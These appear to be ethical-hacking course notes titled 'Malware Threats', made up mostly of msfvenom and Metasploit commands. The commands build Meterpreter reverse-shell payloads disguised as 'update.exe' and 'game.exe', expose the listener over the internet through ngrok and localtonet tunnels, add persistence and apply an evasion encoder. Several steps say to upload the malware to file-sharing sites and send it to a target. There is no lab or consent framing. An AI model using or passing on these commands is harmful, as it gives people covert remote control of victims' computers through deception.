

Chapter 7 - Malware Threats

Hacking Windows using msfvenom:

Step 1:

```
sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=parrotip LPORT=1212  
-f exe -o /home/user/Desktop/update.exe
```

Step 2:

```
sudo msfconsole -q  
use exploit/multi/handler  
set payload windows/meterpreter/reverse_tcp  
set LHOST parrotip  
set LPORT 1212  
show options  
exploit
```

Step 3: Upload the malware onto file sharing website and share it with the target

WAN attack:

Step 1:

```
cd Downloads  
./ngrok tcp 1212
```

Step 2: open new tab

```
sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=0.tcp.in.ngrok.io LPORT=18440 -f exe -o  
/home/user/Desktop/game.exe
```

Step 3:

```
sudo msfconsole -q  
use exploit/multi/handler  
set payload windows/meterpreter/reverse_tcp  
set LHOST 127.0.0.1  
set LPORT 1212  
show options  
exploit
```

Step 4: Upload the malware onto file sharing website and share the link with me

WAN LEVEL Attack using localtonet:

Step:1

Login to localtonet account
Get into my tokens and copy the token
then use below mentioned commands

```
open terminal
cd Downloads
sudo ./localtonet authtoken authtoken
```

Now go back to account dashboard and create a udp-tcp tunnel in the dashboard and start the tunnel

Step 2:

```
sudo msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=lturl LPORT=ltport -f elf -o
/home/user/Desktop/update.elf
```

Step 3:

```
sudo msfconsole -q
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT portmentionedinthetunnel>
show options
exploit
```

Step 4: Upload the file onto filesharing website (ufile.io or gofile.io) and share the link with me

Persistence attack:

Step 1:

```
sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.208 LPORT=1212 -f exe -o
/home/user/Desktop/update.exe
```

Step 2:

```
sudo msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST parrotip
set LPORT 1212
set exitonsession false
show options
exploit -j
```

Step 3: Upload the malware onto file sharing website and share it with the target

Once you get the connection from target machine, hit enter and use below mentioned commands

sessions

sessions -i id

run persistence -i 5 -r parrotip -p 1212 -U

reboot

Encoder Practical:

```
sudo msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf -e x86/shikata_gani -i 10 -o
/home/user/Desktop/test.elf
```
